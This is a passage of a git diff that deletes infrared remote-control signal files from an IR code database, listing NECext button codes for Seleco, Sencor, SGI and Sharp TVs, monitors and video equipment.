-# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4E 00 00 00 -# -name: KEY_ANGLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 50 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 51 00 00 00 -# -name: PBC.OFF -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: KEY_10CHANNELSUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 56 00 00 00 -# -name: A-B.RPT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 58 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 59 00 00 00 -# -name: KEY_ZOOM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5A 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5C 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5D 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Seleco/TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Seleco/TV/0,-1.ir deleted file mode 100644 index 21b3a03c3..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Seleco/TV/0,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: MIXED -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 12 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 14 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 15 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 17 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 18 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 19 00 00 00 -# -name: TEXT -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: 1- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 22 00 00 00 -# -name: 2- -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Seleco/TV/30,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Seleco/TV/30,-1.ir deleted file mode 100644 index 4cc14ba64..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Seleco/TV/30,-1.ir +++ /dev/null @@ -1,98 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 0D 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 10 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 11 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 12 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 13 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 14 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 15 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 16 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 17 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 18 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 19 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 20 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 21 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 22 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 1E 00 00 00 -command: 23 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir deleted file mode 100644 index c12f87495..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sencor/Unknown_SFN9011SL/0,252.ir +++ /dev/null @@ -1,38 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_POWER2 -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 80 00 00 00 -# -name: KEY_AUX -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 82 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 84 00 00 00 -# -name: KEY_MODE -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 85 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 86 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 00 FC 00 00 -command: 87 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir deleted file mode 100644 index fa63e97bd..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sgi/Unknown_SGIMON/26,9.ir +++ /dev/null @@ -1,134 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: hcent-plus -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 0C 00 00 00 -# -name: hcent-min -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 0D 00 00 00 -# -name: vcent-plus -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 0E 00 00 00 -# -name: vcent-min -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 0F 00 00 00 -# -name: tilt-right -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 10 00 00 00 -# -name: tilt-left -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 11 00 00 00 -# -name: contr-plus -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 18 00 00 00 -# -name: contr-min -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 19 00 00 00 -# -name: bright-plus -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 1E 00 00 00 -# -name: bright-min -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 1F 00 00 00 -# -name: hsize-plus -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 26 00 00 00 -# -name: hsize-min -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 27 00 00 00 -# -name: vsize-plus -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 28 00 00 00 -# -name: vsize-min -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 29 00 00 00 -# -name: hstat-plus -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 2A 00 00 00 -# -name: hstat-min -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 2B 00 00 00 -# -name: vstat-plus -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 2C 00 00 00 -# -name: vstat-min -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 2D 00 00 00 -# -name: color-h -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 3B 00 00 00 -# -name: color-m -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 3C 00 00 00 -# -name: color-l -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 3D 00 00 00 -# -name: reset -type: parsed -protocol: NECext -address: 1A 09 00 00 -command: 7B 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir deleted file mode 100644 index 859d16cc1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/DTV Decoder/1,-1.ir +++ /dev/null @@ -1,14 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Monitor/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Monitor/1,-1.ir deleted file mode 100644 index 734b094ad..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Monitor/1,-1.ir +++ /dev/null @@ -1,62 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: AUDIO/VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: ARROW_RIGHT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: ARROW_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: ARROW_LEFT -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: VOLUME_DOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: ARROW_UP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 57 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: C4 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/TV/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/TV/1,-1.ir deleted file mode 100644 index 1356d679a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/TV/1,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: 100 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: CHANNEL_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: CHANNEL_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: FLASHBACK -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir deleted file mode 100644 index f5f90b8df..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_CV-2131CK1/1,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: TV/VIDEO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: TIMER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1A 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: CH_SWAP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 27 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 30 00 00 00 -# -name: KEY_0+ -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 31 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir deleted file mode 100644 index b4b235f5a..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0048TA/19,-1.ir +++ /dev/null @@ -1,122 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: START/STOP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 10 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 21 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 22 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 23 00 00 00 -# -name: F.ADV/STROBE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 24 00 00 00 -# -name: PAUSE/STILL -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 25 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 27 00 00 00 -# -name: KEY_SLOW -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 29 00 00 00 -# -name: ZOOM_T -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 45 00 00 00 -# -name: ZOOM_W -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 46 00 00 00 -# -name: MODE_ON/OFF -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 91 00 00 00 -# -name: MARK_IN/OUT -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 92 00 00 00 -# -name: MARK_DELETE -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 93 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 94 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 95 00 00 00 -# -name: DISPLAY_ON/OFF -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 96 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 97 00 00 00 -# -name: RESET -type: parsed -protocol: NECext -address: 13 00 00 00 -command: 98 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 13 00 00 00 -command: A4 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 13 00 00 00 -command: A5 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir deleted file mode 100644 index 3a0dd9515..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0412GE/3,-1.ir +++ /dev/null @@ -1,140 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: C-LOCK -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0D 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0E 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 0F 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 12 00 00 00 -# -name: OPERATE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 17 00 00 00 -# -name: TIMER_ON_OFF -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 19 00 00 00 -# -name: PROG -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 1D 00 00 00 -# -name: KEY_CLEAR -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 20 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 21 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 22 00 00 00 -# -name: REV -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 23 00 00 00 -# -name: PAUSE_STILL -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 25 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 27 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 28 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 2C 00 00 00 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 33 00 00 00 -# -name: KEY_SEARCH -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 37 00 00 00 -# -name: MEMORY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 83 00 00 00 -# -name: TRACKING_UP -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 85 00 00 00 -# -name: TRACKING_DOWN -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 86 00 00 00 -# -name: DISPLAY -type: parsed -protocol: NECext -address: 03 00 00 00 -command: 8C 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir deleted file mode 100644 index 53f98f815..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G0938CESA/1,-1.ir +++ /dev/null @@ -1,230 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_1_abc -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_2_def -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_3_ghi -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_4_jkl -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_5_mno -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_6_pqr -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_7_stu -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_8_vwxyz -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_9_mark -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_0_spanish -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0_space -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0B 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: program_timer -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 19 00 00 00 -# -name: disp_del -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: ch_scan -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: setup_move -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 20 00 00 00 -# -name: fback_clr -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 2F 00 00 00 -# -name: message -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3B 00 00 00 -# -name: KEY_KPPLUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4F 00 00 00 -# -name: KEY_KPMINUS -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 50 00 00 00 -# -name: calendar -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 76 00 00 00 -# -name: KEY_LANGUAGE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 78 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir deleted file mode 100644 index 13bdf1313..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Sharp/Unknown_G1014BMSA/1,-1.ir +++ /dev/null @@ -1,224 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: num1 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 01 00 00 00 -# -name: num2 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 02 00 00 00 -# -name: num3 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 03 00 00 00 -# -name: num4 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 04 00 00 00 -# -name: num5 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 05 00 00 00 -# -name: num6 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 06 00 00 00 -# -name: num7 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 07 00 00 00 -# -name: num8 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 08 00 00 00 -# -name: num9 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 09 00 00 00 -# -name: num0 -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 0A 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 11 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 12 00 00 00 -# -name: tv_video -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 13 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 14 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 15 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 16 00 00 00 -# -name: vol_mute -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 17 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1B 00 00 00 -# -name: screen_time -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 1C 00 00 00 -# -name: screen_blank -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 32 00 00 00 -# -name: screen_smaller -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 33 00 00 00 -# -name: screen_switch -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 34 00 00 00 -# -name: screen_close -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 35 00 00 00 -# -name: screen_s -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 36 00 00 00 -# -name: screen_bigger -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 37 00 00 00 -# -name: screen_question -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 38 00 00 00 -# -name: num_switch -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3C 00 00 00 -# -name: p_c -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 3D 00 00 00 -# -name: pr -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 41 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 48 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 49 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4A 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4B 00 00 00 -# -name: screen_info -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 4C 00 00 00 -# -name: KEY_F -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 5F 00 00 00 -# -name: KEY_P -type: parsed -protocol: NECext -address: 01 00 00 00 -command: 60 00 00 00 -# -name: KEY_S -type: parsed -protocol: NECext -address: 01 